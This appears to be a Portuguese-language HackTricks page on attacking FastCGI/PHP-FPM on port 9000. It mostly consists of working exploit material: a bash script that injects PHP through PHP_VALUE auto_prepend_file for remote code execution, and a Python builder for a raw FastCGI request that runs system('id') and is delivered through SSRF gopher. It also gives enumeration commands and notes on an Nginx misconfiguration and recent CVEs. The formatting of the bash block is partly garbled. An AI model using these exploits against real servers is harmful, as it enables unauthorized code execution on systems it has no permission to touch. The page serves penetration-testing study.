9000 Pentesting FastCGI
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Se quiser aprender o que é FastCGI confira a seguinte página:
disable_functions bypass - php-fpm/FastCGI
Por padrão FastCGI roda na porta 9000 e não é reconhecido pelo nmap. Normalmente o FastCGI escuta apenas em localhost.
Enumeração / Verificações rápidas
- Port scan:
nmap -sV -p9000 <target>(frequentemente exibirá “unknown” service; teste manualmente). - Verificar a página de status do FPM:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(padrão php-fpmpm.status_path). - Encontrar sockets acessíveis via SSRF: se um serviço HTTP for explorável via SSRF, tente payloads
gopher://127.0.0.1:9000/_...para atingir o listener do FastCGI. - Misconfigurações do Nginx:
cgi.fix_pathinfo=1com erros emfastcgi_split_path_infopermitem que você anexe/.phpa arquivos estáticos e alcance o PHP (execução de código via traversal).
RCE
É bem fácil fazer o FastCGI executar código arbitrário:
Enviar requisição FastCGI que antepõe payload PHP
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
ou você também pode usar o seguinte script python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher para FastCGI (quando 9000 não estiver diretamente acessível)
Se você controlar apenas uma primitiva **SSRF**, ainda pode atingir o FastCGI usando o esquema gopher e montar uma requisição FastCGI completa. Exemplo de gerador de payload:
<details>
<summary>Montar e enviar um payload gopher FastCGI RCE</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Converta payload para base64 seguro para URL/percent-encoding e envie via gopher://host:9000/_<payload> no seu SSRF.
Notas sobre problemas recentes
- libfcgi <= 2.4.4 integer overflow (2024): campos
nameLen/valueLencrafted em registros FastCGI podem provocar integer overflow em builds 32‑bit (comuns em embedded/IoT), levando a heap RCE quando o socket FastCGI está acessível (diretamente ou via SSRF). - PHP-FPM log manipulation (CVE-2024-9026): quando
catch_workers_output = yes, atacantes que podem enviar FastCGI requests podem truncar ou injetar até 4 bytes por linha de log para apagar indicadores ou contaminar os logs. - Classic Nginx + cgi.fix_pathinfo misconfig: ainda é amplamente observado; se
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;for usado sem verificações de existência do arquivo, qualquer caminho terminando em.phpserá executado, permitindo gadgets do tipo path traversal ou source overwrite.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


